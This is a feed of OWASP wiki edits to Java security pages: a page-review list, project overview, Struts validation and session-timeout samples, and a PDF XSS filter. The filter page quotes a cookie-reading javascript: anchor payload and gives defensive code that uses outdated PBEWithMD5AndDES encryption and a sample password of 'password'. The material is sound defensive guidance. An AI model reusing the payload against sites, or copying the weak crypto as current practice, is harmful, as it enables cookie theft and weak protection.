OWASP - User contributions [en]

OWASP Java Project WIPRO 1 2015

2017-11-10T21:56:25Z

Imifos:

{{taggedDocument
| type=delete
| comment=Tagged via fixme/delete.
}}

<div style="width:100%;border:0,margin:0;overflow: hidden;">[[File:OWASP_Java_Project_Header.png|link=]]</div>
<br>

<center>
<p style="font-size: 1.8em;">Wiki Pages Review Operation - 2015/2016</p>
</center>

<br>

= Main =

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;width:100%" |

91 Pages in category "OWASP Java Pages" have to be reviewed. We use a Google Document where every person interested can let opinions, comments and suggestions. Even reviewing one single page is welcome.

Shared Google document used to comment and review:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

| valign="top" style="padding-left:25px;min-width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== Team ==

<br/>

== Meta ==

* Start: 12/2015
* Last Update: 12/2015

<br/>

== Other Resources ==

N/A

<br/>

| valign="top" style="padding-left:25px;min-width:200px;" |

==Classifications==



|}

= Pages List =

Shared Google document used to write reviews:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

{| class="wikitable"
! Page
! Status
! Review
! Operations
|-
|[[Bytecode obfuscation]]
|
| Outdated but interesting to keep, marked for review. https://www.owasp.org/index.php/Talk:Bytecode_obfuscation
|
|-
|[[Captchas in Java ]]
|
|Updated and not of interest. Marked for deletion.
|DELETED BY ADMIN
|-
|[[Clickjacking Protection for Java EE]]
|
|Flagged for deletion, reason stated on page.
|DELETED BY ADMIN
|-
|[[Command injection in Java]]
|
|Marked for review.
|
|-
|[[Comparing classes by name ]]
|
|Marked for review
|
|-
|[[Complejidad Y Longitud De Las Contraseñas ]]
|
|
|
|-
|[[Content Security Policy ]]
|
|
|
|-
|[[CORS OriginHeaderScrutiny]]
|
|
|
|-
|[[CORS RequestPreflighScrutiny]]
|
|
|
|-
|[[Cross-site Scripting (XSS) ]]
|
| Looks updated
| NO ACTION TAKEN, I: Removed Java tag since it's not really a Java specific isue and only an example was written usign JSP.
|-
|[[Declarative Access Control in Java]]
|
|gone
|Deleted by admin
|-
|[[Decompiling Java bytecode]]
|
|
| DELETED
|-
|[[Deserialization of untrusted data]]
|
| Looks legit
| Looks legit
|-
|[[Detect profiling phase into web application]]
|
|
|
|-
|[[Exception handling techniques ]]
|
|
|
|-
|[[Failure to follow guideline/specification ]]
|
|
|
|-
|[[Hacking Java Clients ]]
|
|
|
|-
|[[Hashing Java]]
| UNDER REVIEW
| Updated by Mark Gordon. Thank you!
| No action needed
|-
|[[Hibernate]]
|
|
|
|-
|[[Hibernate-Guidelines ]]
|
|
|
|-
|[[How to add validation logic to HttpServletRequest]]
|
|
|
|-
|[[How to encrypt a properties file ]]
|
|
|
|-
|[[Implementacion De Firmas Digitales en Java]]
|
|
|
|-
|[[Improper Data Validation]]
|
|
|
|-
|[[Improper temp file opening ]]
|
|
|
|-
|[[Information Leakage]]
|
|
|
|-
|[[Insecure Randomness]]
|
|
|
|-
|[[Insecure Transport]]
|
|
|
|-
|[[Insufficient Session-ID Length]]
|
|
|
|-
|[[Invoking untrusted mobile code]]
|
|
|
|-
|[[Inyección De Comandos En Java ]]
|
|Should we keep the 2 spanish pages? A translation is of course a good thing, but we have only 2 pages whose quality we cannot verify.
|
|-
|[[J2EE Misconfiguration: Unsafe Bean Declaration]]
|
|J2EE is completely outdated and only used in old legacy installation. No new projects are based on this environment. Moreover the page does not contain any useful information. Marked for deletion.
|
|-
|[[J2EE third party libraries insecurity]]
|
|See above. Propose to delete the page since it's not referenced by any other wiki page anymore.
| redirected to dependency check
|-
|[[JAAS Timed Login Module ]]
|
|
| Deleted
|-
|[[JAAS Tomcat Login Module]]
|
|
| Deleted
|-
|[[Java Project Article Wishlist ]]
|
|
|
|-
|[[Java Security Frameworks]]
|
|
| Merged into category page
|-
|[[Java Security Resources ]]
|
|
| Merged into category page
|-
|[[Java Server Faces ]]
|
|
|
|-
|[[JSP errorPage]]
|
|
|
|-
|[[JSP JSTL ]]
|
|
|
|-
|[[Leftover Debug Code]]
|
|
|
|-
|[[Log Forging ]]
|
|
|
|-
|[[Logout]]
|
|
|
|-
|[[Member Field Race Condition]]
|
|
|
|-
|[[Missing Error Handling]]
|
|
|
|-
|[[Mobile Java Security ]]
|
|
|
|-
|[[Null Dereference]]
|
|
|
|-
|[[Object Model Violation: Just One of equals() and hashCode() Defined]]
|
|
|
|-
|[[Often Misused: Authentication ]]
|
|
|
|-
|[[Overly-Broad Catch Block]]
|
|
|
|-
|[[Overly-Broad Throws Declaration]]
|
|
|
|-
|[[OWASP CSRFGuard Project/es ]]
|
|
|
|-
|[[OWASP Java Table of Contents]]
|
|
|
|-
|[[Parameter Validation Filter]]
|
|
|
|-
|[[Password length & complexity]]
|
|
|
|-
|[[Password Management: Hardcoded Password]]
|
|
|
|-
|[[Password Management: Weak Cryptography ]]
|
|
|
|-
|[[Password Plaintext Storage ]]
|
|
|
|-
|[[PDF Attack Filter for Java EE ]]
|
|
|
|-
|[[Poor Logging Practice]]
|
|
|
|-
|[[Preventing LDAP Injection in Java]]
|
|
|
|-
|[[Preventing SQL Injection in Java ]]
|
|
|redirected to sqlI cheatsheet
|-
|[[Process Control]]
|
|
|
|-
|[[Protecting code archives with digital signatures]]
|
|
|
|-
|[[Reflection attack in an auth protocol]]
|
|
|
|-
|[[Return Inside Finally Block]]
|
|
|
|-
|[[Securing tomcat]]
|
|
|
|-
|[[Servlet spec - web.xml]]
|
|
|
|-
|[[Session Fixation]]
|
|
|
|-
|[[Session Timeout]]
|
|
|
|-
|[[Signing jar files with jarsigner ]]
|
|
|
|-
|[[State synchronization error]]
|
|
|
|-
|[[Struts]]
|
|
|
|-
|[[Struts Validation in an ActionForm]]
|
|
|
|-
|[[Struts Validation in validator.xml using an ActionForm]]
|
|
|
|-
|[[Struts XSLT Viewer]]
|
|
|
|-
|[[Traducción Español]]
|
|
|(See spanish page above)
|-
|[[Trust Boundary Violation]]
|
|
|
|-
|[[Trustworthy Java]]
|
|
| Delete
|-
|[[Uncaught exception]]
|
|
|
|-
|[[Unchecked Return Value: Missing Check against Null ]]
|
|
|
|-
|[[Unreleased Resource]]
|
|
|
|-
|[[Unsafe JNI]]
|
|
|
|-
|[[Unsafe Mobile Code]]
|
|
|
|-
|[[Unsafe Reflection ]]
|cleaned, extended
|useful code examples
|marked to be merged with another page on the subject
|-
|[[Using JCaptcha ]]
|
|
| deleted
|-
|[[Using the Java Cryptographic Extensions]]
|
|
|
|-
|[[Using the Java Secure Socket Extensions]]
|
|
|
|-
|[[XPATH Injection Java ]]
|
|
|
|-
|[[OWASP's_ESAPI_Wiki_for_Java!]]
| Check Project Status
|
| The entire ESAPI For Java project needs a review. In progress on ML.
|}

Shared Google document used to write reviews:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

=About=

OWASP Java and JVM Project - Wiki Pages Review Operation 1 - 2015/2016

<br>

{{Template:Project About
| project_name =OWASP Java Project WIPRO 1 - 2015/2016
| project_description =
| project_license =
| leader_name1 =
| leader_email1 =
| leader_username1 =
| contributor_name1 =
| contributor_email1 =
| contributor_username1 =
| mailing_list_name =
| links_url1 =
| links_name1 =
| links_url2 =
| links_name2 =
}}

__NOTOC__
<headertabs />

<br/>

Category:Java

2017-11-10T21:55:44Z

Imifos: All pages moved categories, so this list is now empty

= Main =
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

== About ==

The OWASP Java™ and JVM Technology Knowledge Base is the clearing house for all information related to building secure web/distributed applications and services based on Java and JVM technologies. The focus of these pages is on guidance for developers and architects using Java frameworks and JVM based technologies for web application development, on OWASP components that use Java and on participation in OWASP projects that use Java and JVM technologies. Moreover, we aim to provide security related guidance for system administrators managing Java and JVM based applications and tools.

The project is not limited to Java. It aims to also address topics around the JVM in general.

Community content is key to security information. The project depends on content from developers throughout the Java and JVM ecosystem.

==Purpose==

* Provide deep, rich guidance for Java developers in using the security features of Java and of Java frameworks.
* Address security in relation to the Java Virtual Machine and derived technologies.
* Guide system administrators in managing Java and JVM related components and applications.
* Create guidance for use of OWASP components that are designed for use with Java or other JVM languages.
* Focus on information about working with and on OWASP tools built using Java or other JVM technologies.
* Provide a stream of security related information, like vulnerabilities and security patches, related to the Java and JVM universe.
* Build an ecosystem allowing to all actors interested to discuss, share and learn.

== Licensing ==

OWASP Java™ and JVM Technology Knowledge Base is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

Oracle® and Java™ are [http://www.oracle.com/us/legal/trademarks/index.html|registered trademarks of Oracle] and/or its affiliates. Other names may be trademarks of their respective owners.

== What's Hot! ==

See the "Tasks and Roadmap" tab for more information.

| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

[[File:OWASP_Java_Wiki_logo.png|frame]]

<br/>

== Meta ==

Last Update: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

<br/>

== Other Resources ==

[http://lists.owasp.org/mailman/listinfo/java-project Mailing List]

[https://github.com/owasp GitHub (OWASP)]

<br/>

== Related Projects ==

* [[OWASP_Project|OWASP Project Repository]]
* [[Language|Languages Repository]]
* [[OWASP_.NET_Project|.NET Project]]
* [[Ruby|Ruby]]
* [[PHP|PHP]]
* [[Perl|Perl]]
* [[Python|Python]]
* [[JavaScript|JavaScript]]
* [[C/C++|C/C++]]
* [[SQL|SQL, PL/SQL, DB Scripting]]
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]

|}

= Related OWASP Projects =

== Security Tools ==

{| width="100%"
| colspan="2" | [[OWASP_Dependency_Check|OWASP Dependency Check]]
|-
| width="20" |  
| Dependency-Check is a utility that identifies project dependencies and checks if there are any known, publicly disclosed, vulnerabilities. Currently <b>Java</b>, .NET, Ruby, Node.js, and Python projects are supported.
|-
| colspan="2" | [[OWASP_SonarQube_Project|OWASP SonarQube Project]]
|-
| width="20" |  
| The first goal of the OWASP SonarQube Project is to a create a referential of check specifications targeting OWASP vulnerabilities that can be detected by SAST tools (Static Application Security Testing). From there, the second goal is to provide a reference implementations of most of those checks in the Open Source SonarQube language analyzers (<b>Java</b>, JavaScript, PHP and C#). SonarQube is an Open Source platform for managing code quality.
|}

== Secure Coding Libraries ==

{| width="100%"
|-
| colspan="2" | [[OWASP_AppSensor_Project|OWASP AppSensor]]
|-
| width="20" |  
| The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into applications.
|-
| colspan="2" | [[CSRFGuard|OWASP CSRFGuard]]
|-
| width="20" |  
| CSRFGuard is a Java library that implements a variant of the synchronizer token pattern to mitigate the risk of Cross-Site Request Forgery (CSRF) attacks.
|-
| colspan="2" | [[OWASP_Java_Encoder_Project|OWASP Java Encoder Project]]
|-
| width="20" |  
| The OWASP Java Encoder is a Java 1.5+ simple-to-use drop-in high-performance encoder class with no dependencies and little baggage. This project will help Java web developers defend against Cross Site Scripting.
|-
| colspan="2" | [[OWASP_Java_HTML_Sanitizer|OWASP Java HTML Sanitizer]]
|-
| width="20" |  
| The OWASP HTML Sanitizer is a fast and easy to configure HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS.
|-
| colspan="2" | [[OWASP_Security_Logging_Project|OWASP Security Logging Project]]
|-
| width="20" |  
| The OWASP Security Logging project provides developers and ops personnel with APIs for logging security-related events. The aim is to let developers use the same set of logging APIs they are already familiar with from over a decade of experience with Log4J and its successors, while also adding powerful security features.
|-
| colspan="2" | [[OWASP_ESAPI|OWASP Enterprise Security API (ESAPI)]]
|-
| width="20" |  
| ESAPI (The OWASP Enterprise Security API) for Java is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. This project has seen major updates as recently as February 2016.
|}

== General Documents ==

{| width="100%"
| [[OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide|OWASP Secure Coding Practices - Quick Reference Guide]]
| [[OWASP_Codes_of_Conduct|OWASP Codes of Conduct]]
| [[Cheat_Sheets|OWASP Cheat Sheets Series]]
|-
| [[OWASP_Testing_Project|OWASP Testing Project]]
| [[OWASP_Top_Ten_Project|OWASP Web Top 10]]
| [[OWASP_Vulnerable_Web_Applications_Directory_Project|OWASP Vulnerable Web Applications Directory]]
|}

= Related 3rd Party Projects =

A list of third party (i.e. not part of Java SE or EE) security frameworks. This page contains a list of Java security libraries and frameworks and indicates which security features each library supports.

==Enterprise==
* [http://shiro.apache.org/ Apache Shiro] is a Java security framework that performs authentication, authorization, cryptography, and session management.
* [http://projects.spring.io/spring-security/ Spring Security] provides security services for Java EE-based enterprise software applications. Services include authentication, authorization and protection against attacks like session fixation, clickjacking and cross site request forgery.
* [http://www.hdiv.org/ HDIV] A web application security framework that provides a number of functions.

== Access Control (Authentication and Authorization) ==
* [http://oaccframework.org/ OACC] is an application security framework for Java designed for fine grained (object level) access control. OACC uses the abstraction of a ''resource'' for the application objects being secured. This key abstraction enables OACC to provide a rich API that includes grant, revoke and query capabilities for storing and managing the application's security relationships.
* [http://picketlink.org/appsecurity/ PicketLink] provides authentication, single sign on, permission based access control and other security features.

== Encryption ==
* [https://github.com/google/keyczar Keyczar] is an open source cryptographic toolkit designed to make it easier and safer for developers to use cryptography in their applications. Keyczar supports authentication and encryption with both symmetric and asymmetric keys.
* [http://www.bouncycastle.org/ Bouncycastle] is a lightweight Java cryptography API <i>provider</i>.
* [http://www.jasypt.org/ Jasypt] is a Java library which allows the developer to add basic encryption capabilities to his/her projects with minimum effort, and without the need of having deep knowledge on how cryptography works.

== XML Security ==
* The [http://santuario.apache.org/ Apache Santuario] project is aimed at providing implementation of the primary security standards for XML: XML-Signature Syntax and Processing and XML Encryption Syntax and Processing.

== Validation ==
* [http://www.sapia-oss.org/projects/vlad/home.html Vlad] stands for "validation". This projects indeed aims at offering a simple, high-level, extensible, generic validation framework that can easily be integrated into existing applications.
* [https://www.owasp.org/index.php/Protect_FileUpload_Against_Malicious_File This OWASP article] and [https://github.com/righettod/document-upload-protection code snippet] proposes a way to protect a file upload feature against submission of files that may contain malicious code.
* [http://commons.apache.org/proper/commons-validator/ The Apache Common's validator] can be used to perform validation.

= Resources =

== Mailing List ==

[http://lists.owasp.org/mailman/listinfo/java-project OWASP Java and JVM Technologies Mailing List]

== Code Repository ==

[https://github.com/owasp GitHub OWASP Global Repository]

== Related Project Resources ==

[[OWASP_Project|OWASP Project Repository]]

[[Language|Languages Repository]]

[[OWASP_.NET_Project|.NET Project]]

[[Ruby|Ruby Technology Knowledge Base]]

[[PHP|PHP Technology Knowledge Base]]

[[Perl|Perl Technology Knowledge Base]]

[[Python|Python Technology Knowledge Base]]

[[JavaScript|JavaScript Technology Knowledge Base]]

[[C/C++|C/C++ Technology Knowledge Base]]

[[SQL|SQL, PL/SQL and DB Scripting Technology Knowledge Base]]

[[OWASP_Internet_of_Things_Project|OWASP IoT Security Project]]

[[OWASP_Mobile_Security_Project|OWASP Mobile Security Project]]

= Tasks and Roadmap =

== Roadmap ==

* Build Java and JVM security related net resources guide
* The OWASP Java and JVM Technology Knowledge Base is principally about creating deep, rich guidance for Java and JVM developers using all kind of security resources. The idea is to have an effort of building a internet resource guide for everything around the JVM universe. Information, blogs, articles, tools, test servers and more. Important however is that this list is seriously curated.
* Concrete guideline for Java and JVM developers
* Clear checklists, around various topics, language, servers and frameworks.

<br/>

= Get involved =

The first step would be to establish contact with the project leaders and/or the entire team. This can be done using a direct and private message, or by joining the public mailing list to say hello.

When it comes to participating in project activities, everything depends on the time you are willing and able to invest. It is however very important to not jump into too many things at the beginning, later having to back out or to let unfinished things behind you. It is much better to start with small tasks, increasing intensity and investment over time.

Please also be patient with expecting the "merge" of your work into the existing project pages and code. As everywhere in live, trust has to be built-up.

The Java and JVM knowledge base has currently multiple tasks open, which can be found on the adequate section of this page. Not all tasks require a wiki account. Please take something you are interested in and start participating. Work load is not the only outcome when participating in open projects. You are getting a lot of things back: recognition, satisfaction, knowledge and contacts, sometime friends.

Sounds cool? Then jump in...

To get involved join the mailing list, follow this link: [http://lists.owasp.org/mailman/listinfo/java-project OWASP Java and JVM Mailing List]

= Archives =

The previous version of this JAVA Project home page is archived here: [[OWASP Java Project Archive (8.2010)]]

<br/>

<hr/>

__NOTOC__
<headertabs />

<br/>

'''IMPORTANT: all pages of these project are currently under review. A lot are outdated and are in the process of being removed or updated.'''



[[Category:Technology]]
[[Category:Language]]

Struts Validation in an ActionForm

2017-11-10T21:54:43Z

Imifos: typo

* struts-config.xml
<pre>
<struts-config>
<form-beans>
<form-bean name="logonForm" type="net.jcj.LogonForm"/>
</form-beans>
<action-mappings>
<action path="/Logon" forward="/pages/Logon.jsp"/>
<action path="/LogonSubmit" type="app.jcj.LogonAction" name="logonForm"
scope="request" validate="true" input="/pages/Logon.jsp">
<forward name="success" path="/pages/Welcome.jsp"/>
<forward name="failure" path="/pages/Logon.jsp"/>
</action>
</action-mappings>
<message-resources parameter="resources.application"/>
</struts-config>
</pre>
* net.jcj.LogonForm
<pre>
package net.jcj;

import javax.servlet.http.HttpServletRequest;
import org.apache.struts.action.*;

public class LogonForm extends ActionForm
{
private String userId = null;
private String password = null;

public void setUserId (String userId){
this.userId = userId ;
}

public String getUserId(){
return this.userId ;
}

public void setPassword (String password){
this.password = password;
}

public String getPassword(){
return this.password;
}

/**
* Resets all properties to their default values.
*/
public void reset(ActionMapping mapping, HttpServletRequest request) {
this.userId = null;
this.password = null;
}

/**
* Validates the form. Returns a list of action
* Of course in a production environment, your rules would be far more strict than this.
*/
public ActionErrors validate(
ActionMapping mapping, HttpServletRequest request ) {
ActionErrors errors = new ActionErrors();

if( getUserId() == null || getUserId().length() < 1 ) {
errors.add("userId",new ActionMessage("error.userid.required"));
}
if( getPassword() == null || getPassword().length() < 1 ) {
errors.add("password",new ActionMessage("error.password.required"));
}

return errors;
}

}
</pre>

[[Category:Java]]

PDF Attack Filter for Java EE

2017-11-10T21:54:23Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{taggedDocument
| type=old
| lastRevision=2007-04-24
| comment=Content is old
}}
==Status==
Released 24/4/2007

==Overview==

This is a filter to block XSS attacks on PDF files served by Java EE applications. The details of the attack are discussed [http://www.gnucitizen.org/blog/danger-danger-danger/ elsewhere]. This filter implements a simple algorithm suggested by Amit Klein. We've placed this software in the public domain to make it easy for anyone to use for any purpose. Please let us know if you're using it!

If you have static PDF files, you may not need this filter. Instead, you could change MIME type or the Content-Disposition Header as [http://www.adobe.com/support/security/advisories/apsa07-02.html Adobe security advisory]. This will force the user to save the document rather than render it in the browser window.

==Approach==

This attack relies on having some javascript in an anchor after the url like this: http://www.site.com/file.pdf#blah=javascript:alert(document.cookie);

So the idea is to strip off the anchor. Unfortunately for us, the browser doesn't send the anchor along with the HTTP request. So we can't just strip it off.

Therefore, we're going to use a redirect to steer the browser to a link without the anchor containing the attack. Well, actually it turns out that we have to overwrite the anchor with something else, so we're going to use "#a".

But there's one last problem to overcome. Since the browser doesn't send the anchor, the new request will look exactly like the request generated by the redirect. With no way of telling the original request from the one generated by our redirect, we'll create an infinite loop.

So to differentiate them, we're going to add a temporary token to the URL in the redirect, which we'll verify when it arrives. We don't want an attacker forging this token, so we're going to encrypt the user's source IP address along with a timestamp. If a request shows up for the PDF file without a valid token, we'll reject it. Or actually, we can force it to be saved to disk, thus preventing the attack from working.

This way, only an attacker from the same IP address who can trick you into clicking a link within 10 seconds of creating it can attack you. Not perfect, but certainly raises the bar quite a bit.

==Download==

The source code (one file) and the compiled class file are in a single zip file.

'''[http://www.owasp.org/images/5/59/PDFAttackFilter.zip DOWNLOAD]'''

==Setup==

The first step is to add the filter to our application. All we have to do is put the PDFAttackFilter class on our application's classpath, probably by putting it in the classes folder in WEB-INF. The class file should be in a folder structure that matches the package (org -> owasp -> filters -> PDFAttackFilter). You can extract the class file from the zip file.

Then we just have to add the following to our web.xml. You should paste this in right above your servlet definitions. You'll want to change the mapping so that it only applies to URLs that serve a PDF file. You could use *.pdf, but you may have servlets that stream PDF files that don't end in .pdf.

<pre>
<filter>
<filter-name>PDFAttackFilter</filter-name>
<filter-class>org.owasp.filters.PDFAttackFilter</filter-class>
<init-param>
<param-name>timeoutSeconds</param-name>
<param-value>1</param-value>
</init-param>
<init-param>
<param-name>encryptionPassword</param-name>
<param-value>password</param-value>
</init-param>
<init-param>
<param-name>PDFAttackTokenName</param-name>
<param-value>PDFAttackToken</param-value>
</init-param>
</filter>

<filter-mapping>
<filter-name>PDFAttackFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</pre>

Depending on your application, it may be difficult to map all the URLs that lead to PDF files. You can map multiple url-patterns to the filter if necessary. In theory, it might be possible to send the redirect only if a response with content-type application/pdf. Then you could map the filter to apply to ALL requests. If there is demand for this feature, let us know.

==Source Code==

This code has been only minimally tested. Please help us verify the approach and the implementation used here.

<pre>
/**
* Software published by the Open Web Application Security Project (http://www.owasp.org)
* This software is in the public domain with no warranty.
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created January 4, 2007
*/

package org.owasp.filters;

import java.io.IOException;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEParameterSpec;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class PDFAttackFilter implements Filter
{

private static sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
private static sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
private static byte[] salt = { (byte) 0x23, (byte) 0x3f, (byte) 0x28, (byte) 0x00, (byte) 0x11, (byte) 0xc2, (byte) 0xd1, (byte) 0xff };
private static PBEParameterSpec ps = new PBEParameterSpec( salt, 20 );
private static SecretKey secretKey;
private static int timeoutSeconds = 10;
private static String tokenName = "PDFAttackToken";

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException
{
HttpServletRequest req = (HttpServletRequest)request;
HttpServletResponse res = (HttpServletResponse)response;
String token = req.getParameter( tokenName );

try
{

// IF the URL doesn't contain token, then:
// calculate X=encrypt_with_key(server_time, client_IP_address)
// redirect to file.pdf?token=X
// add #a to the end of the url to eliminate any remaining anchors

if ( token == null )
{
String etoken = createToken( req );
String base = req.getRequestURI();
String querystring = req.getQueryString();
if ( querystring != null ) base += "?" + req.getQueryString();
String appender = base.contains( "?" ) ? "&" : "?";
String url = base + appender + tokenName + "=" + etoken + "#a";
res.sendRedirect( res.encodeRedirectURL( url ) );
return;
}

// ELSE IF the URL contains token, then:
// if decrypt(token_query).IP_address==client_IP_address and
// decrypt(token_query).time>server_time-10sec
// serve the PDF resource as an in-line resource

if ( checkToken( token, req ) )
{
chain.doFilter(req, res);
return;
}

// ELSE IF the token doesn't match, then:
// serve the PDF resource as a "save to disk" resource via a proper
// choice of the Content-Type header (and/or an attachment, via
// Content-Disposition).

res.addHeader("Content-Disposition", "Attachment" );
res.setContentType( "application/octet" ); // may be overwritten
chain.doFilter(req, res);
}
catch( Exception e )
{
throw new ServletException( e );
}
}

public void destroy() {
}

public void init(FilterConfig filterConfig) throws ServletException
{
try
{
String tsparam = filterConfig.getInitParameter("timeoutSeconds");
timeoutSeconds = Integer.parseInt(tsparam);

String epparam = filterConfig.getInitParameter("encryptionPassword");
char[] password = epparam.toCharArray();

tokenName = filterConfig.getInitParameter("PDFAttackTokenName");

SecretKeyFactory kf = SecretKeyFactory.getInstance( "PBEWithMD5AndDES" );
secretKey = kf.generateSecret( new javax.crypto.spec.PBEKeySpec( password ) );
}
catch( Exception e )
{
throw new ServletException( e );
}
}

public String createToken( HttpServletRequest request ) throws Exception
{
String address = request.getRemoteAddr();
String time = ""+System.currentTimeMillis();
return encryptString( address + "|" + time );
}

public boolean checkToken( String etoken, HttpServletRequest request ) throws Exception
{
String token = decryptString( etoken );

String currentAddress = request.getRemoteAddr();
String tokenAddress = getAddressFromToken( token );

long currentTime = System.currentTimeMillis();
long tokenTime = getTimeFromToken( token );

return (currentAddress.equals( tokenAddress )) && (tokenTime > currentTime - timeoutSeconds * 1000);
}

public String getAddressFromToken( String token )
{
String address = token.substring( 0, token.indexOf("|") );
return address;
}

public long getTimeFromToken( String token )
{
String date = token.substring( token.indexOf("|") + 1 );
Long longdate = Long.parseLong( date );
return longdate.longValue();
}

public synchronized String decryptString( String str ) throws Exception
{
// Cipher is not threadsafe, so create a new one each time
Cipher passwordDecryptCipher = Cipher.getInstance( "PBEWithMD5AndDES/CBC/PKCS5Padding" );
passwordDecryptCipher.init( Cipher.DECRYPT_MODE, secretKey, ps );
byte[] dec = decoder.decodeBuffer( str.replace( '_', '+') );
byte[] utf8 = passwordDecryptCipher.doFinal( dec );
return new String( utf8, "UTF-8" );
}

public synchronized String encryptString( String str ) throws Exception
{
// Cipher is not threadsafe, so create a new one each time
Cipher passwordEncryptCipher = Cipher.getInstance( "PBEWithMD5AndDES/CBC/PKCS5Padding" );
passwordEncryptCipher.init( Cipher.ENCRYPT_MODE, secretKey, ps );
byte[] utf8 = str.getBytes( "UTF-8" );
byte[] enc = passwordEncryptCipher.doFinal( utf8 );
return encoder.encode( enc ).replace( '+', '_' );
}

}

</pre>

==Compile==

There are not many dependencies here, just the standard Java EE environment. You can compile with:

javac -classpath j2ee.jar -d . *.java

Then just copy the 'org' folder that gets created to the WEB-INF/classes folder.

'''Comment: ''' In the decryptString method, it is necessary to strip the "#a" from the end of the str parameter, otherwise an IllegalBlockSizeException will be thrown with "Input length must be multiple of 8 when decrypting with padded cipher".

[[Category:How To]]
[[Category:Java]]
[[Category:OWASP_Validation_Project]]
[[Category:Countermeasure]]
[[Category:Control]]
[[Category:FixME/old]]

Session Timeout

2017-11-10T21:53:31Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

==Status==
Released on (mm/dd/yyyy) : 01/22/2012

==Description of the session timeout==
Session timeout represents the event occuring when a user do not perform any action on a web site during a interval (defined by web server). The event, on server side, change the status of the user session to 'invalid' (ie. "not used anymore") and instruct the web server to destroy it (deleting all data contained into it).

==Define the session timeout==
On JEE web application , there 2 ways to define session timeout,
* Declaratively in web deployment descriptor (file "web.xml") : This definition is applied to all session created for the application.
* Programmatically on session object : This definition apply only on current session.

'''Timeout defined declaratively'''
<pre>
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://java.sun.com/xml/ns/javaee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
id="WebApp_ID" version="3.0">

...


<session-config>
<session-timeout>15</session-timeout>
</session-config>

...

</web-app>
</pre>

'''Timeout defined Programmatically'''
<pre>
package org.owasp.javaproject.sessiontimeout;

import java.io.IOException;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;

/**
* Code sample showing how to access to session timeout and act on it.
*/
@SuppressWarnings("serial")
@WebServlet("/SessionTimeout")
public class SessionTimeoutCodeSample extends HttpServlet {

/**
* {@inheritDoc}
*
* @see javax.servlet.http.HttpServlet#doGet(javax.servlet.http.HttpServletRequest,
* javax.servlet.http.HttpServletResponse)
*/
@SuppressWarnings("boxing")
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// Get reference on session object
HttpSession session = req.getSession();

// Display session timeout value defined in "web.xml"
// Value here is specified in seconds...
System.out.printf("Session timeout defined at application level : %s\n", session.getMaxInactiveInterval());

// Change session timeout for this session and display new timeout value
// Value here is defined in seconds...
session.setMaxInactiveInterval(60);
System.out.printf("Session timeout defined at code level : %s\n", session.getMaxInactiveInterval());
}

}
</pre>

<pre>
Session timeout defined at application level : 900
Session timeout defined at code level : 60
</pre>

==Impact of the session timeout on security and best practices==
Session timeout define action window time for a user thus this window represents, in the same time, the delay in which an attacker can try to steal and use a existing user session...

For this, it's best practices to :
* Set session timeout to the minimal value possible depending on the context of the application.
* Avoid "infinite" session timeout.
* Prefer declarative definition of the session timeout in order to apply global timeout for all application sessions.
* Trace session creation/destroy in order to analyse creation trend and try to detect anormal session number creation (application profiling phase in a attack).

[[Category:Java]]

Struts

2017-11-10T21:53:15Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

==Status==
'''Content to be finalized. First draft'''

==Overview==
[https://www.owasp.org/index.php/Category:OWASP_Java_Project Struts] is an [[Apache]] framework aimed at simplifying the creation of dynamic web applications in [[Java]].

Struts is built on a MVC architecture, which means the application is arranged into 3 primary types of code. These are know as a Model, View and Controller. The Model defines the structure of your data being processed. The View defines everything that a end user can see. The controller take the model as submitted from the page, performs business logic on the data, then decides what view should be responsible for displaying the result.

